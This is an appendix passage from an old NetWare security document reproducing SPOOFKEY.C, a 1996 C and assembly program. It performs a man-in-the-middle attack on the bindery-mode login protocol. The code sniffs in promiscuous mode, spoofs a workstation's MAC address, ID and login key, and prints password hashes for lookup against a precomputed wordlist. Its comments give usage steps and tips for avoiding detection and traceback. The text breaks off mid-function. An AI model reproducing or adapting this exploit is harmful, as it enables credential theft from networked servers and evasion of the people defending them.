--------------------------------------------------------------------------- Appendix Section - Source Code and Other Documentation A-02. Source code to SPOOFKEY Greg's comments are in the source code file... --------------------------------------------------------------------------- /* SPOOFKEY.C (C) 1996 by Greg Miller (distribute freely) */ /* Here we use a sequence number trick to implement a MITM attack on the Netware bindery mode login protocol. The "trick" allows us to implement the attack on a single machine which resides somewhere in between the attacking station and the server. */ /* This program implements the last step of an attack discovered by David Wagner . Before running this program you will need to (1) get a good word list (try ftp://sable.ox.ac.uk/pub/wordlists), (2) convert the wordlist into a hash list (try http://grendel.ius.indiana.edu/~gmiller/) and (3) edit the SpoofStation[] variable to reflect the station you want to attack. After running the program, the hash will be displayed. Look up this hash in the hash list generated above and you will be able to use the corresponding password to log in as the user you spoofed. The attack spoofs both the user ID and the random value generated by the server when a workstation attempts to log in. This allows an attacker to use a pre-generated hash list to look up possible passwords. Here, I have used a "random value" of FFFFFFFFFFFFFFFF and and ID of FFFFFFFF. */ /* NOTE: You will have to run this on a pretty fast machine to beat the server's responses. It seems pretty simple, but it's not unless the server is carying a pretty heavy load. I've also run into problems where the workstation's requests were lost. That shows this program could use some very heavy optimization. */ /* NOTE: The workstation will attempt two login requests. One is to login without a password, the second is the real login request. Because of this you'll see two hashes printed rather than just one. The second hash is the only one you're interested in. */ /* NOTE: This program will only work on 3.x servers, or on 4.x servers when the workstation logs in in bindery mode. */ #include #include #include #define TRUE -1 #define FALSE 0 //Offset of the IPX packet type in an 802.3 frame #define PACKET_TYPE 19 //Offset of the NCP function code in an 802.3 frame #define FUNCTION_CODE 50 //Offset of the NCP subfunction code in an 802.3 frame #define SUBFUNC_CODE 53 //Offset of the hashed password in the NCP client //request for a login inside an 802.3 frame #define KEY_OFFSET 52 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; int DataRemaining = TRUE; int x; BYTE packet[2000]; BYTE SendPacket[2000]; WORD handle; int packet_received = FALSE; int NotDone = TRUE; /* Change these varialbles to reflect the station you are attacking. You may also want to alter the spoof values for a few reasons: 1. It prevents the use of an automated detection program to detect this attack. 2. It prevents someone else using a packet sniffer from using the same pre-generated word list that you're using. This way, if they want the password, they have to do the work themselves. */ BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; BYTE SpoofID[4] = {0xff,0xff,0xff,0xff}; BYTE SpoofKey[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff}; int c; WORD pktlen; WORD Sendpktlen; void Initialize(){ } /*In reality, the functions for the packet driver API should be in a separate file, but they are included here for ease of distribution. */ static void far PacketReceived(){ /*This function is called by the packet driver when a packet is received. If AX=0 when the function is called, the packet driver is asking for a buffer to put the packet in. If AX=1 then the packet has been copied into the buffer. */ _asm{ pop di //Borland C 3.1 pushes DI for some reason. //Remove this line if you compiler doesn't. cmp ax,1 //ax=0 for get buffer or 1 when done jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //buffer length retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*This function registers the "protocol stack" with the packet driver. We give it the address of the function to call when a packet is received in ES:DI, the interface class in AL, and the interface type in BX. DS:SI should point to the type of packets to receive, with the length of the type in CX, however, we'll just receive any type of packet so we leave DS:SI alone and make CX=0. We get a handle back from the INT 60h call in AX, we'll store it for later use. */ _asm { pusha mov bx,0ffffh //Wild card for all interfaces mov dl,0 mov cx,0 //receive any type of packet mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //class type for 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface and unhooks the packet received funtion. */ /*Release Type*/ _asm{ pusha mov ah,3 mov bx,handle int 60h jc err } /*Terminate driver for handle*/ _asm{ mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void EnterPromiscuousMode(){ /*This function puts the board in promiscuous mode by putting the receive mode in CX and the handle in BX. Mode 6 is promiscuous. This causes the interface to receive all packets on the network. The user should note that some network cards send packets out on the network to indicate that they are in promiscuous mode. When this happens, the real MAC address is put on the network for all to see. This could possibly allow someone to identify the attack is occurring, and also where the attack is originating from. If your card does not implement this feature (most don't), then this attack should be carried out undetected. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,6 int 60h jc err popa } printf("Promiscuous mode set\r\n"); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ /*Ad Hock mechanism for printing HEX dump. Yes, there are much better ways to do it. */ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ /*Puts an ethernet frame on the network. The premble, etc are not included in the data, but the hardware address is. This allows us to spoof our address at the hardware level. Although, NetWare doesn't care what the hardware address is, implementing the attack in this way allows us to avoid the attack to be traced back to a given machine, should the attack be detected. */ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } printf("Sending:\r\n"); for(c=0;c